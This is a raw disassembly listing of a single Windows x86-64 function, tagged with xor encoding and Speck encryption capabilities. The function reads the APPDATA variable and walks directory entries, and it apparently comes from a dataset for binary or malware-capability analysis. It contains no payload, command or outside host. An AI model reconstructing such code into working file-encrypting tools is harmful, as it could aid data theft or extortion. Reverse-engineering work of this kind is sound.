Function at 0x14004124a
Capabilities:
Encode data using xor
Encrypt data using speck

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x578
movaps xmmword [rsp + 0x560], xmm7
movaps xmmword [rsp + 0x550], xmm6
mov qword [rsp + 0x1c8], r8
mov r13, rdx
mov qword [rsp + 0x320], rcx
lea rdx, [0x140343419]
lea rsi, [rsp + 0x40]
mov r8d, 0xc
mov rcx, rsi
call fcn.1401a27e0
movabs rax, 0x8000000000000001
cmp qword [rsi], rax
jne 0x140049608
lea rdx, [rsp + 0x40]
mov rax, qword [rdx + 0x18]
lea rsi, [rsp + 0x1e0]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rdx + 8]
movdqa xmmword [rsi], xmm0
lea rax, [r13 + 0x18]
lea r15, [rsp + 0x360]
mov qword [rsp + 0x1d8], rax
mov qword [r15], rax
lea r8, [rsp + 0x390]
mov qword [r8], r13
lea rax, [rsp + 0xd0]
mov qword [rax], rsi
lea rcx, [0x140030f70]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r15
lea rcx, [0x140065eb5]
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], r8
mov qword [rax + 0x28], rcx
lea rcx, [0x140343128]
mov qword [rdx], rcx
mov qword [rdx + 8], 4
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 3
lea rcx, [rsp + 0x2b0]
call fcn.140061c40
cmp qword [rsi], 0
je 0x14004136a
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r12, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
lea r14, [rsp + 0xd0]
mov rcx, r14
mov rdx, rbx
call fcn.1401a6630
cmp dword [r14], 2
jne 0x1400413b3
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x1400413d5
lea rax, [rsp + 0x40]
lea rsi, [rsp + 0xd0]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rax], 2
jne 0x140041598
lea rcx, [rsp + 0x48]
call fcn.1401c3218
test r12, r12
je 0x1400413f6
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rbx
call qword [0x14033d4d0]
lea rdx, str.APPDATA
lea rsi, [rsp + 0x40]
mov r8d, 7
mov rcx, rsi
call fcn.1401a27e0
movabs rax, 0x8000000000000001
cmp qword [rsi], rax
lea r12, [rsp + 0x1e0]
jne 0x140049631
lea rdx, [rsp + 0x40]
mov rax, qword [rdx + 0x18]
mov qword [rsp + 0x1f0], rax
movdqu xmm0, xmmword [rdx + 8]
movdqa xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x390], r13
mov qword [rsp + 0xd0], r12
lea rax, [0x140030f70]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], r15
lea rax, [0x140065eb5]
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x390]
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf8], rax
lea rax, [0x140343128]
mov qword [rdx], rax
mov qword [rdx + 8], 4
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], 3
lea rcx, [rsp + 0x2b0]
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x1400414fd
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x2b0]
mov rbx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rbx
call fcn.1401a6630
cmp dword [rsi], 2
jne 0x140041545
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x140041567
lea rax, [rsp + 0x40]
lea rsi, [rsp + 0xd0]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rax], 2
jne 0x140044604
lea rcx, [rsp + 0x48]
call fcn.1401c3218
test r14, r14
je 0x140041588
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rbx
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x320]
mov byte [rax], 0x13
jmp 0x140049412
test r12, r12
lea r12, [rsp + 0x1e0]
je 0x1400415b7
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rbx
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x1e8], rax
lea rax, [0x140343470]
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], 1
lea rdi, [rsp + 0x40]
mov rcx, rdi
call fcn.140061c40
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1401a5c10
test rax, rax
jne 0x14004969d
test rbx, rbx
je 0x140041644
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x1e8], rax
lea rax, [0x1403434b8]
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], 1
lea rdi, [rsp + 0x40]
mov rcx, rdi
call fcn.140061c40
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1401a5c10
test rax, rax
jne 0x1400496b1
test rbx, rbx
je 0x1400416d1
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x1e8], rax
lea rax, [0x140343500]
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], 1
lea rdi, [rsp + 0x40]
mov rcx, rdi
call fcn.140061c40
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1401a5c10
test rax, rax
jne 0x1400496c5
test rbx, rbx
je 0x14004175e
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x1e8], rax
lea rax, [0x140343548]
lea rsi, [rsp + 0xd0]
mov qword [rsi], rax
mov qword [rsi + 8], 2
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 1
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, rsi
call fcn.140061c40
mov r14, qword [rbx]
mov rdi, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call fcn.1401a5c10
test rax, rax
jne 0x1400496d9
test r14, r14
je 0x1400417ee
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rcx, qword [0x14047d008]
mov rdx, qword [0x14047d010]
call fcn.14006da82
cmp qword [section..data], 0
je 0x140041821
mov r8, qword [0x14047d008]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
xor eax, eax
mov qword [section..data], rax
mov qword [0x14047d008], 8
mov qword [0x14047d010], rax
lea rdx, [0x140343419]
lea rdi, [rsp + 0x40]
mov r8d, 0xc
mov rcx, rdi
call fcn.1401a27e0
movabs rax, 0x8000000000000001
cmp qword [rdi], rax
jne 0x140049708
lea rdx, [rsp + 0x40]
mov rax, qword [rdx + 0x18]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x390], rax
mov qword [rsp + 0x1d0], r13
mov qword [rsp + 0x2b0], r13
mov qword [rsp + 0xd0], r12
lea rbx, [0x140030f70]
mov qword [rsp + 0xd8], rbx
lea rax, [rsp + 0x390]
mov qword [rsp + 0xe0], rax
lea rcx, [0x140065eb5]
mov qword [rsp + 0xe8], rcx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
lea rax, [0x140343128]
mov qword [rdx], rax
mov qword [rdx + 8], 4
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], 3
lea rcx, [rsp + 0x4c0]
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x140041949
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea r15, [rsp + 0xd0]
lea rdx, [rsp + 0x4c0]
mov rcx, r15
call fcn.140033590
mov rax, qword [r15 + 0x38]
cmp rax, 5
mov ecx, 4
cmovae rcx, rax
mov qword [r15 + 0x40], rcx
mov ecx, 0xa
lea rax, [rsp + 0x40]
mov rdi, rax
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [r15 + 0x98], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movups xmm3, xmmword [rsp + 0x70]
movups xmmword [r15 + 0x88], xmm3
movups xmmword [r15 + 0x78], xmm2
movups xmmword [r15 + 0x58], xmm0
movups xmmword [r15 + 0x68], xmm1
xorps xmm0, xmm0
movaps xmmword [r15 + 0x20], xmm0
movups xmmword [r15 + 0x38], xmm0
movups xmmword [r15 + 0xa8], xmm0
movaps xmmword [r15], xmm0
xor ecx, ecx
mov qword [r15 + 0x10], rcx
mov r14d, 8
mov qword [r15 + 0x18], r14
mov qword [r15 + 0x30], r14
mov qword [r15 + 0x48], r14
mov qword [r15 + 0x50], rcx
lea r13, [r12 + r14]
add r14, rax
mov qword [rsp + 0x1b0], r13
mov qword [rsp + 0x328], r14
mov rcx, r12
mov rdx, r15
call fcn.1401e19f6
mov rax, qword [rsp + 0x1e0]
cmp rax, 3
je 0x140042833
mov qword [rsp + 0x40], rax
mov ecx, 0xf
mov rdi, r14
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
cmp rax, 2
jne 0x140041a52
lea rcx, [rsp + 0x40]
call fcn.14002168b
jmp 0x140041a10
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0x230]
mov rbx, qword [rsp + 0x238]
mov qword [rsp + 0x2b0], r14
mov qword [rsp + 0x2b8], rbx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x390], rax
lea rax, [0x1401a9d30]
mov qword [rsp + 0x398], rax
lea rax, [0x140343a30]
mov qword [rsp + 0x40], rax
mov eax, 2
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov qword [rsp + 0x60], rbp
lea rdi, [rsp + 0x390]
mov qword [rsp + 0x50], rdi
mov r15, r12
mov r12d, 1
mov qword [rsp + 0x58], r12
mov rcx, r15
lea r13, [rsp + 0x40]
mov rdx, r13
call fcn.140061c40
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1f0]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x2b0], r14
mov r14, rax
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x2b8], rbx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x390], rax
lea rax, [0x1401a9d30]
mov qword [rsp + 0x398], rax
mov rbx, r13
lea rax, [0x140343a60]
mov qword [rsp + 0x40], rax
mov eax, 2
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], r12
mov rdi, r15
mov rcx, r15
mov rdx, r13
call fcn.140061c40
mov r12, qword [rsp + 0x1e0]
mov r15, qword [rsp + 0x1e8]
mov r13, qword [rsp + 0x1f0]
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call fcn.1401a6630
cmp dword [rsp + 0x40], 2
jne 0x140041bc6
mov rbp, rdi
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1e0], 2
jmp 0x140041be3
mov ecx, 9
mov rbp, rdi
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
jne 0x140041c66
mov r13, qword [rsp + 0x1b0]
mov rcx, r13
call fcn.1401c3218
lea rbx, [0x140030f70]
test r12, r12
je 0x140041c11
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r15
call qword [0x14033d4d0]
cmp qword [rsp + 0x1c0], 0
lea r15, [rsp + 0xd0]
mov r12, rbp
je 0x140041c39
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r14
call qword [0x14033d4d0]
cmp qword [rsp + 0x38], 0
mov r14, qword [rsp + 0x328]
je 0x140041a10
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [0x14033d4d0]
jmp 0x140041a10
mov rcx, rbx
mov rdx, r15
mov r8, r13
call fcn.1401a6630
cmp dword [rsp + 0x40], 2
jne 0x140041ca5
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1e0], 2
lea rbx, [0x140030f70]
mov r13, qword [rsp + 0x1b0]
jmp 0x140041ccd
mov ecx, 9
mov rdi, rbp
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
lea rbx, [0x140030f70]
mov r13, qword [rsp + 0x1b0]
jne 0x140041cda
mov rcx, r13
call fcn.1401c3218
jmp 0x140041bfa
mov qword [rsp + 0x1b8], r12
mov qword [rsp + 0x358], r14
mov rbx, qword [0x14047d008]
mov r14, qword [0x14047d010]
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov r13, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401e779c
mov rbp, rax
mov rsi, rdx
mov rcx, rdx
mov rdx, r13
mov r8, rdi
call fcn.140330ef0
shl r14, 3
lea r13, [r14 + r14*2]
xor r14d, r14d
mov r12, rbx
cmp r13, r14
je 0x140041d6d
cmp qword [r12 + 0x10], rdi
jne 0x140041d63
mov rcx, qword [rbx + r14 + 8]
mov rdx, rsi
mov r8, rdi
call fcn.140331930
test eax, eax
je 0x140041d6d
add r12, 0x18
add r14, 0x18
jmp 0x140041d43
test rbp, rbp
je 0x140041d84
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
cmp rax, rcx
lea rbp, [rsp + 0x1e0]
je 0x140041db9
test rax, rax
je 0x140041db9
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
cmp r13, r14
lea rbx, [0x140030f70]
mov r13, qword [rsp + 0x1b0]
mov r14, qword [rsp + 0x358]
mov r12, qword [rsp + 0x1b8]
jne 0x140041bfa
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.1401e779c
mov r12, rax
mov r14, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call fcn.140330ef0
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140041e4e
test rax, rax
je 0x140041e4e
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov rcx, r14
mov rdx, rsi
call fcn.1401a9820
test rax, rax
je 0x140049775
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.140096fa0
cmp qword [rsp + 0x40], 0
jne 0x140049781
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov r13, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.1401e779c
mov rbp, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, r13
mov r8, rsi
call fcn.140330ef0
mov rdx, qword [0x14047d010]
cmp rdx, qword [section..data]
jne 0x140041eda
lea rcx, [section..data]
call fcn.140174acd
mov rdx, qword [0x14047d010]
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x468], r14
mov rax, qword [0x14047d008]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rbp
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], rsi
inc qword [0x14047d010]
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140041f37
test rax, rax
je 0x140041f37
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rcx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov rsi, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rcx, r13
call fcn.1401e779c
mov rbp, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, r13
call fcn.140330ef0
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, r13
call fcn.1400629e0
mov rsi, qword [rsp + 0x398]
mov r13, qword [rsp + 0x3a0]
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, rsi
mov r8, r13
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r13
mov word [rsp + 0xb8], 1
xor r13d, r13d
mov r12, qword [rsp + 0x88]
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.1400335f6
cmp qword [rsp + 0x1e0], 0
je 0x140042037
mov r14, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xa8]
add r12, rcx
sub r14, rcx
mov qword [rsp + 0xa8], rax
cmp byte [rsp + 0xb9], 0
mov r13, r12
je 0x140041fdf
jmp 0x14004208a
cmp byte [rsp + 0xb9], 0
je 0x14004204b
test r13, r13
jne 0x14004208d
jmp 0x140049885
cmp byte [rsp + 0xb8], 0
je 0x140042067
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x14004207c
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp rax, r12
je 0x140042041
sub rax, r12
add r12, qword [rsp + 0x88]
mov r14, rax
mov r13, r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x270], r14
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x60], rax
lea rax, [0x140066290]
mov qword [rsp + 0x68], rax
lea rax, [0x140343ab0]
mov qword [rsp + 0x1e0], rax
mov eax, 3
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x360]
lea rbx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.140061c40
cmp qword [rsp + 0x390], 0
je 0x14004214e
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
test rbp, rbp
je 0x140042165
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x2b0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140042198
test rax, rax
je 0x140042198
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x360]
mov rsi, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140061f90
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401a5c10
mov qword [rsp + 0x1e0], rax
test rax, rax
je 0x1400421e4
mov rcx, rbx
call fcn.1401c3218
cmp qword [rsp + 0x40], 0
je 0x1400421fe
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
test r14, r14
lea rbx, [rsp + 0x40]
je 0x14004221a
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
lea rcx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov rsi, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rcx, r13
call fcn.1401e779c
mov rbp, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, r13
call fcn.140330ef0
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, r13
call fcn.1400629e0
mov rsi, qword [rsp + 0x398]
mov r13, qword [rsp + 0x3a0]
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, rsi
mov r8, r13
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r13
mov word [rsp + 0xb8], 1
xor r13d, r13d
mov r12, qword [rsp + 0x88]
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.1400335f6
cmp qword [rsp + 0x1e0], 0
je 0x14004231a
mov r14, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xa8]
add r12, rcx
sub r14, rcx
mov qword [rsp + 0xa8], rax
cmp byte [rsp + 0xb9], 0
mov r13, r12
je 0x1400422c2
jmp 0x14004236d
cmp byte [rsp + 0xb9], 0
je 0x14004232e
test r13, r13
jne 0x140042370
jmp 0x140049891
cmp byte [rsp + 0xb8], 0
je 0x14004234a
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x14004235f
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp rax, r12
je 0x140042324
sub rax, r12
add r12, qword [rsp + 0x88]
mov r14, rax
mov r13, r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x270], r14
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x60], rax
lea rax, [0x140066290]
mov qword [rsp + 0x68], rax
lea rax, [0x140343af8]
mov qword [rsp + 0x1e0], rax
mov eax, 3
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x360]
lea rbx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.140061c40
cmp qword [rsp + 0x390], 0
je 0x140042431
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
test rbp, rbp
je 0x140042448
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x2b0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004247b
test rax, rax
je 0x14004247b
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x360]
mov rsi, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140061f90
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401a5c10
mov qword [rsp + 0x1e0], rax
test rax, rax
je 0x1400424c7
mov rcx, rbx
call fcn.1401c3218
cmp qword [rsp + 0x40], 0
je 0x1400424e1
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov qword [rsp + 0x418], r15
test r14, r14
lea rbx, [rsp + 0x40]
je 0x140042505
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
lea rcx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov r15, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rcx, r13
call fcn.1401e779c
mov rsi, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, r15
mov r8, r13
call fcn.140330ef0
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, r13
call fcn.1400629e0
mov r15, qword [rsp + 0x398]
mov r13, qword [rsp + 0x3a0]
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, r15
mov r8, r13
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r13
mov word [rsp + 0xb8], 1
xor r13d, r13d
mov r12, qword [rsp + 0x88]
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.1400335f6
cmp qword [rsp + 0x1e0], 0
je 0x140042605
mov r14, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xa8]
add r12, rcx
sub r14, rcx
mov qword [rsp + 0xa8], rax
cmp byte [rsp + 0xb9], 0
mov r13, r12
je 0x1400425ad
jmp 0x140042658
cmp byte [rsp + 0xb9], 0
je 0x140042619
test r13, r13
jne 0x14004265b
jmp 0x14004989d
cmp byte [rsp + 0xb8], 0
je 0x140042635
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x14004264a
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp rax, r12
je 0x14004260f
sub rax, r12
add r12, qword [rsp + 0x88]
mov r14, rax
mov r13, r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x270], r14
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rbx, [0x140030f70]
mov qword [rsp + 0x48], rbx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x60], rax
lea rax, [0x140066290]
mov qword [rsp + 0x68], rax
lea rax, [0x140343b40]
mov qword [rsp + 0x1e0], rax
mov ecx, 3
mov qword [rsp + 0x1e8], rcx
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x1e0]
mov rbp, rdx
call fcn.140061c40
cmp qword [rsp + 0x390], 0
je 0x140042721
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r15
call qword [0x14033d4d0]
test rsi, rsi
mov r13, qword [rsp + 0x1b0]
mov r12, qword [rsp + 0x1b8]
je 0x140042748
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x2b0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
mov r15, qword [rsp + 0x418]
je 0x140042783
test rax, rax
je 0x140042783
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x360]
mov rsi, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140061f90
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401a5c10
mov qword [rsp + 0x1e0], rax
test rax, rax
je 0x1400427cf
mov rcx, rbp
call fcn.1401c3218
cmp qword [rsp + 0x40], 0
je 0x1400427e9
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
test r14, r14
je 0x140042800
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x350], 0
mov r14, qword [rsp + 0x358]
je 0x140041bfa
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x468]
call qword [0x14033d4d0]
jmp 0x140041bfa
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.14001dd0f
lea rdx, str.APPDATA
lea rdi, [rsp + 0x40]
mov r8d, 7
mov rcx, rdi
call fcn.1401a27e0
movabs rax, 0x8000000000000001
cmp qword [rdi], rax
jne 0x140049731
lea rcx, [rsp + 0x40]
mov rax, qword [rcx + 0x18]
